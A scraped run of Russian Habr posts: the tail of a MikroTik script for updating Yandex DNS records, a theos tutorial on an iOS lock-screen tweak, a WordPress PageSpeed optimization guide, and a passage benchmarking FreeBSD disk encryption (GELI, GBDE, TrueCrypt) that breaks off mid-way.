/tool fetch mode=https address="$YaDNSAPI" host="pddimp.yandex.ru" src-path=$YaDNSsrcpath1 dst-path="/YaDNSGetDomainRecord.txt"
```
Сначала я использовал вызов **/tool fetch** следующим образом:
```
/tool fetch mode=https address="pddimp.yandex.ru" src-path=$YaDNSsrcpath dst-path="/YaDNS.txt"
```
Но при таком варианте вызова из скрипта команда срабатывала примерно в четверти случаев и скрипт просто прерывался на этом месте. Долго не мог почему так. Много раз запускал этот скрипт из консоли пока не понял, что Яндекс иногда возвращает ошибку 404, но почему – так и не понял. Пообщался с техподдержкой микротика и они навели меня на следующую мысль – сначала резолвить IP API, а потом уже обращаться к нему по IP. Такой вариант у меня заработал.
И заключительная часть скрипта, непосредственно обновление. Чтобы не дёргать понапрасну Яндекс обновлять будем только если текущий IP не совпадает с одним из предыдущих. Переменная $YaDNSForceUpdateOnce оставлена на тот случай если надо чтобы скрипт отработал в любом случая, использовать по своему разумению, у меня есть отдельный скрипт, который устанавливает её равной true.
```
:if (($YaDNSForceUpdateOnce or ($YaDNSCurrentIP != $YaDNSPreviousIP) or ($YaDNSCurrentIP != $YaDNSDomainRecord)) = true) do={
:log info "UpdateYaDNS: Try Update"
:log info "UpdateYaDNS: YaDNSForceUpdateOnce = $YaDNSForceUpdateOnce"
:log info "UpdateYaDNS: YaDNSPreviousIP = $YaDNSPreviousIP"
:log info "UpdateYaDNS: YaDNSCurrentIP = $YaDNSCurrentIP"
:log info "UpdateYaDNS: YaDNSDomainRecord = $YaDNSDomainRecord"
:local YaDNSsrcpath2 ( "nsapi/edit_a_record.xml\?token=" . $YaDNStoken . "&domain=" . $YaDNSdomain . "&record_id=" . $YaDNSrecordid . "&ttl=" . $YaDNSTTL . "&content=" . $YaDNSCurrentIP )
:local YaDNSAPI [:resolve "pddimp.yandex.ru"]
/tool fetch mode=https address="$YaDNSAPI" host="pddimp.yandex.ru" src-path=$YaDNSsrcpath2 dst-path="/YaDNS.txt"
:local result [/file get YaDNS.txt contents]
:global YaDNSResult [:pick $result ([:find $result ""]+7) [:find $result ""]]
:if ( $YaDNSResult = "ok" ) do={
:set YaDNSForceUpdateOnce false
:set YaDNSPreviousIP $YaDNSCurrentIP
:log info "UpdateYaDNS: Update Success"
}
:log info "UpdateYaDNS: Result: $YaDNSResult"
}
```
Минусы, от которых так и не смог избавиться:
* Хранение полученных от Яндекcа ответов в файлах. По другому не смог сделать
* Парсинг XML сделан через пятую точку
Для использования скрипта добавьте его в планировщик, я поставил интервал 5 минут.
**/system script run UpdateYaDNS**
Скачать полный текст скрипта можно на [PasteBin](http://pastebin.com/a94cEiV0#)
**UPD**
[PasteBin](http://pastebin.com/MrTkgLPe)
Добавлена локальная переменная
```
:local YaDNSsubdomain "xxx.domain.ru"
```
Как понятно из имени — субдомен. Если нужно обновлять запись самого домена — то нужно указать эту переменную равной $YaDNSdomain | https://habr.com/ru/post/180497/ | null | ru | null |
# theos: пишем твик для iOS SpringBoard
Доброго скороновогоднего вечера уважаемым хабралюдям!
Сегодня я расскажу о создании твика для iOS SpringBoard с помощью [theos](https://github.com/rpetrich/theos). Зачем? В качестве интересного рисёрча и тренировки. В конце туториала мы получим примерно такую штуку прямо на экране блокрировки нашего i-девайса:
### Создание проекта и настройка theos
Начинаем: создаём пустую папку, в неё кидаем теос (я кинул в виде гитового сабмодуля).
Далее, создаём новый проект с помощью NIC:
```
iHabrTweak git:(master) theos/bin/nic.pl
NIC 2.0 - New Instance Creator
------------------------------
[1.] iphone/application
[2.] iphone/library
[3.] iphone/preference_bundle
[4.] iphone/tool
[5.] iphone/tweak
Choose a Template (required): 5
Project Name (required): iHabrTweak
Package Name [com.yourcompany.ihabrtweak]: com.silvansky.ihabr
Author/Maintainer Name [Valentine Silvansky]: silvansky
[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]:
Instantiating iphone/tweak in ihabrtweak/...
Done.
```
Теперь у нас есть папка ihabrtweak, в которой и лежат нужные нам файлики.
```
iHabrTweak git:(master) ✗ cd ihabrtweak
ihabrtweak git:(master) ✗ ls
Makefile Tweak.xm control iHabrTweak.plist theos
```
Теперь запускаем make и видим ошибки: не всё так просто! Наша система не до конца готова к испытанию на theos.
Что ж, надо вводить настройки, необходимые для нормальной сборки:
```
export ARCHS=armv7
export TARGET=iphone:latest:4.3
export THEOS="`pwd`/theos"
export SDKVERSION=6.0
export THEOS_DEVICE_IP=192.168.2.2
```
`ARCHS` нам указывает, что собирать будем только для armv7, а на armv6 забьём. `TARGET` нам указывает, что собирать будем для iOS с использованием последнего (в системе) SDK и с совместимостью с версии 4.3. Остальные три самоочевидны.
```
ihabrtweak git:(master) ✗ make
Making all for tweak iHabrTweak...
Preprocessing Tweak.xm...
Compiling Tweak.xm...
Linking tweak iHabrTweak...
Stripping iHabrTweak...
Signing iHabrTweak...
ihabrtweak git:(master) ✗ ls .theos/obj
Tweak.xm.o iHabrTweak.dylib
```
Теперь у нас есть наша замечательная динамическая библиотека, которая пока совсем ничего не умеет делать! Зато мы можем установить наш твик на девайс:
```
ihabrtweak git:(master) ✗ make package
Making all for tweak iHabrTweak...
make[2]: Nothing to be done for `internal-library-compile'.
Making stage for tweak iHabrTweak...
dpkg-deb: building package `com.silvansky.ihabr' in `./com.silvansky.ihabr_0.0.1-1_iphoneos-arm.deb'.
ihabrtweak git:(master) ✗ make package install
Making all for tweak iHabrTweak...
make[2]: Nothing to be done for `internal-library-compile'.
Making stage for tweak iHabrTweak...
dpkg-deb: building package `com.silvansky.ihabr' in `./com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb'.
install.copyFile "./com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb" "com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb"
root@192.168.2.2's password:
com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb 100% 1454 1.4KB/s 00:00
install.exec "dpkg -i com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb"
root@192.168.2.2's password:
Selecting previously deselected package com.silvansky.ihabr.
(Reading database ... 2516 files and directories currently installed.)
Unpacking com.silvansky.ihabr (from com.silvansky.ihabr_0.0.1-2_iphoneos-arm.deb) ...
Setting up com.silvansky.ihabr (0.0.1-2) ...
install.exec "timeout 10s sbreload || ( ( respring || killall -9 SpringBoard ) && launchctl load /System/Library/LaunchDaemons/com.apple.SpringBoard.plist )"
root@192.168.2.2's password:
launchctl unload SpringBoard.plist
waiting for kill(29) != 0...
```
Собственно, твик готов! Ставится, но ничего не делает. Будем это править. Начнём с теории theos-а и его твиков.
Как вы уже заметили, в проекте у нас есть файл Tweak.xm, являющийся нашим главным исходником.
На данный момент в нём всё закомментировано, а сам комментарий является частичной документацией. Собственно, этот файл является шаблоном для генерации конечного .mm файла. Рассмотрим некоторые полезные макросы этого шаблона:
#### %hook и %end
Основа твиков в theos — хуки. Они основаны на богатейшем рантайме языка Objective-C, позволяющем подмену методов у произвольного класса. Собственно, используется это так:
```
%hook SomeClass
-(void)someMethod
{
// some code goes here
}
%end
```
Здесь Мы внедряем (подменяем) метод «someMethod» у класса «SomeClass». К примеру, мы можем внедрять наш код в SpringBoard, например, можем добавлять свои вьюшки на экран блокировки.
#### %orig и %new
Что ж, метод мы переопределили, ну а как вызвать оригинальный-то? Да тоже очень просто! Для этого есть макрос %orig. Будучи вызванным без параметров, этот макрос перенаправляет функции-оригиналу те же параметры, что и пришли в наш хук. Но можно и передать любые свои:
```
%hook SomeClass
- (id)initWithFrame:(CGRect)frame
{
id result = %orig;
// some custom code
return result;
}
- (id)initWithName:(NSString *)name
{
id result = %orig(@"customName");
// some custom code
return result;
}
%end
```
Если простые определения методов внутри хуков переопределяет уже имеющиеся, то для добавления новых методов можно использовать макрос %new. По сути, это разделитель между методами, которые мы подменяем, и методами, которые мы добавляем. ВСЕ методы, идущие после %new, будут именно добавлены. Пример:
```
%hook SomeClass
- (void)someOldMethod
{
// some code here
}
%new
- (void)someNewMethod
{
// some more code here
}
%end
```
Но с таким подходом мы не сможем вызвать наш новый метод из переопределённого: theos трактует ворнинги как ошибки и не даст собрать проект. Ведь мы наш метод не объявили! Но это поправимо, просто добавим вот это в наш файлик:
```
@interface SomeClass(NewMethods)
- (void)someNewMethod;
@end;
```
#### %log
Макрос %log позволяет записать в системный лог факт вызова функции. Обычно используется для отладки.
Другие макросы можно посмотреть [здесь](http://iphonedevwiki.net/index.php/Logos).
### Пишем что-то полезное
В комплекте к theos-у мы получаем хедеры системных фреймворков. В нашем проекте они лежат в `theos/include`. Если же не лежат, не забываем сделать так:
```
cd theos
git submodule init
git submodule update
```
Там находим папку SpringBoard, а в ней — кучу хедеров. Что ж, пройдёмся по именам классов. Приметим интересный класс SBAwayView, который как раз и является основной вьюшкой экрана блокировки. Что ж, будем ставить хуки именно в него. Для начала надо бы поймать момент его создания:
```
#import
#import
%hook SBAwayView
-(id)initWithFrame:(CGRect)frame
{
id result = %orig;
if (result)
{
// here goes the code...
}
return result;
}
%end
```
Можем поставить %log и убедиться после сборки-установки, что этот метод действительно вызывается. Теперь мы можем добавлять новые вьюшки! Только куда? Давайте будем их добавлять на фоновую картинку. Находим ivar `UIImageView *_backgroundView` у класса `SBSlidingAlertDisplay`, от которого наследуется `SBAwayView`, там же находим метод `-(CGRect)middleFrame;`. Но как нам получить значение ivar-а? Погуглим. Найдём функцию MSHookIvar, которая всё и сделает:
```
#import
#import
#import
%hook SBAwayView
-(id)initWithFrame:(CGRect)frame
{
id result = %orig;
if (result)
{
CGRect labelRect = [self middleFrame];
labelRect.origin.y = labelRect.origin.y + 20.f;
labelRect.size.height = 50.f;
UILabel \*habrLabel = [[[UILabel alloc] initWithFrame:labelRect] autorelease];
habrLabel.text = @"Hello, Habr!";
habrLabel.textColor = [UIColor colorWithRed:155.f/255.f green:182.f/255.f blue:206.f/255.f alpha:1.f];
habrLabel.opaque = NO;
habrLabel.textAlignment = UITextAlignmentCenter;
habrLabel.font = [UIFont boldSystemFontOfSize:36];
habrLabel.backgroundColor = [UIColor clearColor];
UIImageView \*backgroundView = MSHookIvar(self, "\_backgroundView");
[backgroundView addSubview:habrLabel];
}
return result;
}
%end
```
Запускаем и наслаждаемся зрелищем!
Теперь усложним задачу. Будем загружать картинку! В теории всё просто: вместо UILabel создаём UIImageView. А откуда картинку брать?
Картинку надо бы положить в бандл SpringBoard.app, а лучше, если картинка туда сама скопируется во время установки пакета. Для этого мы реорганизуем структуру проекта: создадим папку Layout, в ней — папку DEBIAN, куда переместим уже имеющийся файл control, рядом с папкой DEBIAN сделаем System/Library/CoreServices/SpringBoard.app, куда и поместим нашу картинку:
```
SpringBoard.app git:(master) pwd
/Users/silvansky/Projects/iHabrTweak/ihabrtweak/Layout/System/Library/CoreServices/SpringBoard.app
SpringBoard.app git:(master) ls
habr_logo_hat.png
```
Теперь можно и написать финальный новогодний код:
```
#import
#import
#import
#define IMG\_WIDTH 150.f
#define IMG\_HEIGHT 186.f
%hook SBAwayView
-(id)initWithFrame:(CGRect)frame
{
id result = %orig;
if (result)
{
CGRect imageRect = [self middleFrame];
imageRect.origin.y = imageRect.origin.y + 20.f;
imageRect.origin.x = (imageRect.size.width - IMG\_WIDTH) / 2.f;
imageRect.size.width = IMG\_WIDTH;
imageRect.size.height = IMG\_HEIGHT;
UIImageView \*habrLogoView = [[[UIImageView alloc] initWithFrame:imageRect] autorelease];
habrLogoView.image = [UIImage imageNamed:@"habr\_logo\_hat"];
UIImageView \*backgroundView = MSHookIvar(self, "\_backgroundView");
[backgroundView addSubview:habrLogoView];
}
return result;
}
%end
```
И — любуемся на получившуюся красоту:
Полный исходник, как обычно, прошу брать [на гитхабе](https://github.com/silvansky/iHabrTweak).
Всех с наступающим! Радости и удач в следующем году! =) | https://habr.com/ru/post/164341/ | null | ru | null |
# Сайт на Wordpress VS PageSpeed Insights
В это статье мы расскажем как оптимизировали конкретное Wordpress веб приложение. Какие действия были выполнены чтобы попасть из красной зоны оценки PageSpeed Insights в зеленую, тут будет мало общих рекомендаций универсальных для любых платформ и приложений, которыми пестрит поисковая выдача, a большe описание действий, которые повлияли на результат в рамках конкретной задачи.
PageSpeed Insights — противоречивый инструмент по оптимизации скорости загрузки веб страниц от Google, который за свою [семилетнюю историю](https://developers.google.com/speed/docs/insights/release_notes) много раз менял свои алгоритмы, интерфейсы, все время дорабатывался, [нещадно хейтился](https://habr.com/ru/post/475152/) и даже [закрывался](https://searchengines.guru/ru/news/21798), но в 2021 году по прежнему более чем актуален и находится в особом почете и уважении у SEO специалистов. И вовсе не потому что является самым объективным и точным, есть много других отличных инструментов [1](https://tools.pingdom.com/), [2](http://www.websiteoptimization.com/services/analyze/), [3](https://gtmetrix.com/reports/frank-meisler.egodev2.info/vLlSzPSk/), а потому что за ним стоит сам “великий и ужасный” Google.
Итак, у нас задача оптимизировать сайт на CMS Wordpress до зеленой зоны.
Сайт несложный с обычной судьбой, был сверстан под нужды заказчика и натянут на wp+woocommerce, в процессе нагружен 40+ плагинами ( что для сайтов на wp обычное дело ).
PSInsights оценивает ваш сайт отдельно для мобильных и десктопных устройств и делит их на три зоны.
* 0–49 — красная
* 50–89 — желтая
* 90–100 — зеленая
Изначально наш сайт имеет такие грустные оценки.
### Для тех кто хочет 100/100
Эта статья для вас не подойдет, можно поискать в разделе фантастика, если такой есть на хабре. Современные сайты, а тем более сделанные на CMS обвешаны огромным количеством js и css библиотек, в случае с WP — это почти всегда много плагинов, каждый из которых может что-то добавлять свое на ваш фронт, все это делает сайт огромной неповоротливой махиной и ждать от нее космических скоростей не стоит.
Хотя пустая установка стандартной темы WP twentytwentyone еще выдает желаемую сотню.
Но если помимо этого вы ещё захотите добавить на страницу хоть что-то, то это что-то будет нуждаться в оптимизации.
### Этапы оптимизации
* Удалим лишние плагины.
* Поработаем с изображениями.
* Сократим количество js и css на страницах.
* Специфические оптимизации для конкретного проекта.
### Удалим лишние плагины
Современный WP это зоопарк различных плагинов, каждый из них это отдельный мир и экосистема. Любой плагин потенциально может добавлять свой функционал на фронт, даже если изначально он задуман только для административной части сайта. Изучать код всех плагинов и оценивать потенциальную угрозу для производительности займет слишком много времени, поэтому действуем от простого к сложному. Удаляем по максимуму все плагины, доводим сайт до нужной зеленой отметки и потом ставим по одному обратно, отслеживая как каждый из них влияет на оценку PSInsights, если влияние присутствует, то думаем над заменой плагина аналогом или отказаться от него.
В нашем случае мы удалили 22 из 40 плагинов и наши цифры чуть повеселели, хотя по прежнему далеки от поставленной цели.
### Поработаем с изображениями
Наш проект имеет три разных предупреждения касающихся изображений на сайте.
* Настройте эффективную кодировку изображений.
* Используйте современные форматы изображений.
* Настройте подходящий размер изображений.
К сожалению это три разных проблемы и одной серебряной пули, которая решит все скопом я найти не смог. Поэтому решаем их поэтапно.
#### Этап 0. Добавим lazy load для изображений
PSInsights оценивает только те изображения, которые смог увидеть, так зачем ему видеть лишнее? Давайте отложим загрузку изображений, которые находятся ниже начальной загрузки экрана.
WP версии 5.4 добавил поддержку lazy load изображений из коробки, в теории просто добавляем атрибут `loading="lazy"` к тегу изображений и должно работать, на практике для PSInfights срабатывает не всегда, поэтому ставим плагин [autoptimize](https://wordpress.org/plugins/autoptimize/), который нам еще пригодится ниже для оптимизации js и css кода, и активируем в нем lazy load загрузку изображений.
#### Этап 1. Настройте эффективную кодировку изображений
По факту это значит что изображения недостаточно оптимизированы.
У PSInsights свой алгоритм по которому он определяет что такое достаточно. К сожалению, все топовые плагины оптимизации изображений до конца не могут оптимизировать изображение под их алгоритм.
Я [воспользовался этим решением](https://wordpress.org/plugins/robin-image-optimizer/), оно позволяет в бесплатной версии оптимизировать все изображения сразу по нажатию одной кнопки. У нас еще могут остаться предупреждения про кодировку после этого, но вес основной части изображений будет меньше.
#### Этап 2. Используйте современные форматы изображений
Тут все не так просто, взять и заменить форматы изображений на webp скопом не получиться, поддержка этого формата браузерами все еще оставляет желать лучшего.
Для конвертации всех изображений в webp формат я воспользовался этим [плагином](https://wordpress.org/plugins/webp-express/), который в папке uploads рядом с существующими изображениями создает новые с расширением webp. То есть, если раньше у вас было изображение foo.jpeg, то сейчас рядом с ним появилось foo.jpeg.webp
В теории в таких плагинах есть настройка, которая сама подменяет изображения на webp и показывает нужный формат в зависимости от браузера, на практике у меня предупреждения про формат все равно остались даже после активации настройки.
Поэтому, в тех местах где lazy load не смог скрыть изображения, я вручную заменил тег img на тег picture, как это работает хорошо описано [тут](https://css-tricks.com/using-webp-images/).
Код замены привожу ниже, все php переменные естественно должны быть объявлены перед тегом.
```
```
#### Этап 3. Настройте подходящий размер изображений
Это предупреждение появляется если вы пытаетесь загрузить изначально очень большое изображение, а показываете его как маленькое. Тут опять действовать придется точечно и в тех местах где lazy load не смог скрыть изображения, пробовать подключать другие размеры картинок из существующих.
На практике может оказаться так, что существующих недостаточно, тогда придется еще создавать свои отдельные. Для этого объявляем новый размер в functions.php вашей темы.
```
add_action( 'init', 'frank_theme_init' );
function frank_theme_init() {
add_image_size( 'post_slider_thumbnail', '517', '354', true );
add_image_size( 'post_card_slider_thumbnail', '400', '370', true );
}
```
Затем любым плагином, который может ресайзить изображения, создаем новые размеры и подгружаем их в тег picture, который вы вставляли выше.
После проведенных оптимизаций с изображениями, наши балы заметно повеселели, а для десктопа мы уже попали в желаемую зеленую зону.
 | https://habr.com/ru/post/548118/ | null | ru | null |
# Сравнительное тестирование криптоконтейнеров и шифрованных файловых систем
Неделю назад нарисовалась нетривиальная задача по определению возможностей использования шифрованных контейнеров или файловых систем на вынесенном untrusted хостинге.
Основные задачи:
— Возможность бекапирования данных в любом виде для аварийного восстановления.
— Исключение доступа к этим данным неавторизованных лиц.
— Невозможность доступа к файлам при аварийном выключении сервера и загрузке с внешнего носителя.
— Прозрачная работа пользователей с файлами и любым содержимым находящемся на сервере.
— OS **FreeBSD 7.2** и максимальный простор для фантазии в выборе вариантов реализации.
После энного количества времени сложилась следующая тестовая конфигурация:
**GELI** — GEOM\_ELI (встроенная во FreeBSD подсистема шифрования использующая crypto(9) framework(аппаратное и программное шифрование))
**GBDE** — GEOM\_BDE [Geom Based Disk Encryption] (встроенная во FreeBSD подсистема шифрования)
**TrueCrypt** — Портированная версия TrueCrypt 6.1a (использует fuse)
**cryptofs** — cryptofs использующая fuse
**encfs** — encfs использующая fuse
UPD: Таблица сравнения скоростей чистой и шифрованной файловых систем.
Начнем с классификации используемых систем шифрования.
Первые две системы используют любое устройство определяемое через GEOM. Это может быть физический накопитель(da0), партиция(da0s1), слайс(da0s1a), а также любое другое синтетическое устройство созданное скажем через **mdconfig** или **ggatel**.
*[mdconfig](http://tru2life.info/cgi-bin/man2web?program=mdconfig§ion=8)* — утилита использующая geom\_md и формирующая виртуальное устройство из имеющейся у Вас оперативной памяти или файла на диске или любом другом носителе.
*[ggatel](http://tru2life.info/cgi-bin/man2web?program=ggatel§ion=8)* — это утилита которая позволяет перевести любое устройство или файл, которое не может быть отнесено к классу GEOM в этот класс.
*[TrueCrypt](http://www.truecrypt.org/)* — автономная кроссплатформенная система шифрования криптоконтейнеров.
*[fuse\_cryptofs](http://freshmeat.net/projects/cryptofs/)* — подсистема парольного шифрования данных на диске шифрующая имена файлов и их содержимое при помощи алгоритмов заданных в конфигурационном файле.
*[fuse\_encfs](http://www.arg0.net/encfs)* — подсистема парольно-ключевого шифрования данных на диске шифрующая имена файлов и их содержимое с контролем изменений в файлах.
Все тесты проводились на системе имеющей следующие характеристики P4 2.8HT/1GB RAM/40GB IDE/.
Для оценки скорости работы использовались **dd** и [**bonnie**](http://www.textuality.com/bonnie/).
Временные файлы криптоконтейнеров и директории с файлами были размещены на разделе /var.
> `# dmesg | grep ad0
> ad0: 38166MB 3.06> at ata0-master UDMA100
> # mount | grep var
> /dev/ad0s1g on /var (ufs, local, soft-updates)`
Первым делом нужно было оценить какую скорость линейной записи на жёсткий диск мы можем получить в пике.
> `testcrypt# /usr/bin/time dd if=/dev/random of=testfile.dump bs=1m count=4096
> 4096+0 records in
> 4096+0 records out
> 4294967296 bytes transferred in 151.801076 secs (28293392 bytes/sec)
> 151.82 real 0.00 user 132.96 sys`
Т.е. максимально мы можем рассчитывать примерно на 27 мегабайт/с при потоковой записи.
Для анализа скорости работы GEOM провайдеров был создан файл размером 4GB, который по очереди подключался к **mdconfig** и **ggatel**(размер сектора был определен в 4Кб). Далее по тексту я постараюсь максимально исключить лишнюю служебную информацию из вставок кода.
Мы проверили линейную скорость записи через GEOM провайдеров.
> `testcrypt# mdconfig -a -t vnode -f /var/test/testfile.dump -S 4096 -u 0
> testcrypt# /usr/bin/time dd if=/dev/random of=/dev/md0 bs=1m
> 4294967296 bytes transferred in 306.514082 secs (14012300 bytes/sec)
> 306.55 real 0.02 user 120.03 sys
> testcrypt# mdconfig -d -u 0
>
> testcrypt# ggatel create -s 4096 -u 0 /var/test/testfile.dump
> testcrypt# /usr/bin/time dd if=/dev/random of=/dev/ggate0 bs=1m
> 4294967296 bytes transferred in 319.859650 secs (13427662 bytes/sec)
> 319.91 real 0.02 user 133.34 sys
> testcrypt# ggatel destroy -u 0`
Как видно из тестов скорость записи упала почти в 2 раза и **ggate** провайдер оказался немного медленнее чем **md**, но в принципе это не особо критично, хотя **ggate** немного больше грузит систему чем **md**.
Следующий шаг это проверка нагрузочной способности для файловых систем работающих через GEOM провайдеров. Первым тестировался **md**.
> `testcrypt# mdconfig -a -t vnode -f /var/test/testfile.dump -S 4096 -u 0
> testcrypt# newfs /dev/md0
> /dev/md0: 4096.0MB (8388608 sectors) block size 16384, fragment size 4096
> using 13 cylinder groups of 336.98MB, 21567 blks, 21568 inodes.
> super-block backups (for fsck -b #) at:
> 160, 690304, 1380448, 2070592, 2760736, 3450880, 4141024, 4831168, 5521312,
> 6211456, 6901600, 7591744, 8281888
> testcrypt# mount /dev/md0 /mnt
> testcrypt# /usr/bin/time dd if=/dev/random of=/mnt/testfile.dump bs=1m
> 4220518400 bytes transferred in 235.262614 secs (17939605 bytes/sec)
> 235.28 real 0.03 user 136.49 sys
> testcrypt# umount /mnt
> testcrypt# mdconfig -d -u 0`
Как мы видим скорость работы с файлами возросла и составила 17.1 мегабайт/сек.
Вторым тестировали **ggate**.
> `testcrypt# ggatel create -s 4096 -u 0 /var/test/testfile.dump
> testcrypt# newfs /dev/ggate0
> /dev/ggate0: 4096.0MB (8388608 sectors) block size 16384, fragment size 4096
> using 13 cylinder groups of 336.98MB, 21567 blks, 21568 inodes.
> super-block backups (for fsck -b #) at:
> 160, 690304, 1380448, 2070592, 2760736, 3450880, 4141024, 4831168, 5521312, 6211456, 6901600, 7591744, 8281888
> testcrypt# mount /dev/ggate0 /mnt
> testcrypt# /usr/bin/time dd if=/dev/random of=/mnt/testfile.dump bs=1m
> 4220518400 bytes transferred in 228.256445 secs (18490249 bytes/sec)
> 228.29 real 0.00 user 137.80 sys
> testcrypt# umount /mnt
> testcrypt# ggatel destroy -u 0`
При прочих равных условиях **ggate** показал увеличение скорости по сравнению с **md** — 17.6 мегабайт/сек.
Настало время потестировать связку crypto и geom провайдеров. Для этого создали случайный ключ, который будет использоваться в дальнейших тестах.
> `testcrypt# dd if=/dev/random of=/var/test/my.key bs=4k count=1`
Инициализируем криптоконтейнер **geli**
> `testcrypt# mdconfig -a -t vnode -f /var/test/testfile.dump -S 4096 -u 0
> testcrypt# /usr/bin/time geli init -s 4096 -K my.key /dev/md0
> Enter new passphrase:
> Reenter new passphrase:
> 13.34 real 9.61 user 0.00 sys`
Как видно из вывода *time*, *geli init* довольно долго просчитывает связку ключа шифрования с паролем и записывает его на диск.
> `testcrypt# geli list
> Geom name: md0.eli
> EncryptionAlgorithm: AES-CBC
> KeyLength: 128
> Crypto: software
> UsedKey: 0
> Flags: NONE
> Providers:
> 1. Name: md0.eli
> Mediasize: 4294963200 (4.0G)
> Sectorsize: 4096
> Mode: r0w0e0
> Consumers:
> 1. Name: md0
> Mediasize: 4294967296 (4.0G)
> Sectorsize: 4096
> Mode: r1w1e1`
Криптоконтейнер создан и сформировано новое устройство с суффиксом **.eli**, которое можно использовать как обычное блочное устройство. Размечать его, создавать партиции и файловые системы.
Создаём новую файловую систему на криптоконтейнере и тестируем скорость.
> `testcrypt# newfs /dev/md0.eli
> /dev/md0.eli: 4096.0MB (8388600 sectors) block size 16384, fragment size 4096
> using 13 cylinder groups of 336.98MB, 21567 blks, 21568 inodes.
> super-block backups (for fsck -b #) at:
> 160, 690304, 1380448, 2070592, 2760736, 3450880, 4141024, 4831168, 5521312, 6211456, 6901600, 7591744, 8281888
> testcrypt# /usr/bin/time dd if=/dev/random of=/mnt/testfile.dump bs=1m
> 4220518400 bytes transferred in 277.940331 secs (15184980 bytes/sec)
> 277.96 real 0.03 user 145.50 sys`
Как мы видим, скорость упала до 14.5 мегабайт/сек. Я пропущу блок разметки и тестирования скорости связки **ggate+geli**, так как он идентичен блоку **geli+md**. Так как мы не можем оценивать скорость работы только по циклу записи, мы запускаем **bonnie** для дополнительного анализа.
Сводные результаты работы **bonnie** на всех связках будут приведены в конце статьи.
> `testcrypt# bonnie -s 1024
> File './Bonnie.1145', size: 1073741824
>
>
> | | | | |
> | --- | --- | --- | --- |
> | | Sequential Output | Sequential Input | Random |
> | | Per Char | Block | Rewrite | Per Char | Block | Seeks |
> | Machine | MB | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | /sec | %CPU |
> | **geli+md** | 1024 | 17178 | 25.7 | 18324 | 8.4 | 5684 | 2.2 | 14492 | 15.1 | 15185 | 2.3 | 139.8 | 0.7 |
> | **geli+ggate** | 1024 | 13855 | 20.6 | 12018 | 5.2 | 6388 | 2.7 | 19021 | 21.8 | 22473 | 4.2 | 136.5 | 0.7 |`
Как мы видим **ggate** медленнее работает на циклах записи, но намного быстрее работает на циклах чтения. Возможно это связано с буферизацией записи и различных методах сброса буферов в **md** и **ggate**. Если попробовать ввести неверный файл ключа или пароль, то **geli** не создаёт устройство для доступа к файловой системе, а так как файл контейнера внутри напоминает содержимое */dev/random*, то расшифровать его просто нереально. Ни пофайлово, ни целиком. Одним из преимуществ **geli** является возможность использования нескольких ключей шифрования, скажем мастер ключа и ключа пользователей.
Инициализируем контейнер **GBDE**.
> `testcrypt# mdconfig -a -t vnode -f /var/test/testfile.dump -S 4096 -u 0
> testcrypt# gbde init /dev/md0 -i -K my.key -L /var/tmp/md0.lock -P testcrypt
> testcrypt# ll /var/tmp/md\*
> md0.lock
> testcrypt# gbde attach /dev/md0 -l /var/tmp/md0.lock -k my.key -p testcrypt
> testcrypt# ll /dev/md\*
> crw-r----- 1 root operator 0, 98 Apr 21 13:25 /dev/md0
> crw-r----- 1 root operator 0, 100 Apr 21 10:15 /dev/md0.bde
> crw------- 1 root wheel 0, 78 Apr 21 10:15 /dev/mdctl`
**gbde** при создании устройства использует файл блокировки в котором находятся текущие ключи для инициализации криптоконтейнера. Система инициализации криптоконтейнера не имеет реверсивной процедуры восстановления данных, поэтому если вы забыли пароль или потеряли файл блокировки, то вы потеряли все данные которые находились в криптоконтейнере. После инициализации криптоконтейнера **gbde** создаёт устройство с суффиксом **.bde** с которым можно обращаться так же как и c **.eli**.
Подробное руководство по использованию обоих систем можно найти [тут](http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/disks-encrypting.html). Запускаем **bonnie** для тестирования связки **gbde+md** и **gbde+ggate**.
> `testcrypt# bonnie -s 1024
> File './Bonnie.1145', size: 1073741824
>
>
> | | | | |
> | --- | --- | --- | --- |
> | | Sequential Output | Sequential Input | Random |
> | | Per Char | Block | Rewrite | Per Char | Block | Seeks |
> | Machine | MB | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | K/sec | %CPU | /sec | %CPU |
> | **gbde+md** | 1024 | 4436 | 5.3 | 4349 | 1.7 | 2695 | 1.2 | 12920 | 13.7 | 17078 | 2.9 | 130.1 | 0.7 |
> | **gbde+ggate** | 1024 | 1971 | 2.2 | 1970 | 0.8 | 1480 | 0.6 | 13812 | 15.2 | 17206 | 3.0 | 120.3 | 0.6 |`
Подсистема **gbde** показала довольно скудные значения быстродействия, хотя как видно из таблицы процессорное время практически не использовалось в отличии от **geli**. С чем это связано я так до конца и не выяснил.
Найдя в сети неофициальный порт TrueCrypt 6.1a на FreeBSD, было решено испытать его в работе.
TrueCrypt должен работать на FreeBSD через fuse, но на деле всё оказалось не совсем так.
Попытка скомпилить данный порт привела к тому, что в систему были затащены xorg, glib, gtk, gnome, wxWidgets и куча другого барахла. Детальный анализ выявил, что виной всему GUI интерфейс сделанный на wxWidgets. Нам GUI был ненужен и поэтому путём проб и ошибок были найдены магические последовательности для **gmake** которые таки собрали TrueCrypt на нашей тестовой системе.
> `gmake NOGUI=1 WX\_ROOT=/usr/local/tmp/wx wxbuild
> gmake NOGUI=1 WXSTATIC=1 PKCS11\_INC=/usr/local/include/pkcs11/`
TrueCrypt запустился весело сообщив:
> `testcrypt# truecrypt
> 13:35:34: Error: Cannot convert from the charset 'US-ASCII'!`
Ругань относилась к тому, что TrueCrypt не смог конвертнуть help из **LANG=C** в **en\_US.UTF-8**, который жестко зашит в исходниках.
> `testcrypt# /usr/bin/time truecrypt -c --filesystem=ufs -k /var/test/my.key --random-source=/dev/random /var/test/truecrypt.dump /mnt
> Volume type:
> 1) Normal
> 2) Hidden
> Select [1]:
>
> Enter volume size (sizeK/size[M]/sizeG): 4G
>
> Encryption algorithm:
> 1) AES
> 2) Serpent
> 3) Twofish
> 4) AES-Twofish
> 5) AES-Twofish-Serpent
> 6) Serpent-AES
> 7) Serpent-Twofish-AES
> 8) Twofish-Serpent
> Select [1]:
>
> Hash algorithm:
> 1) RIPEMD-160
> 2) SHA-512
> 3) Whirlpool
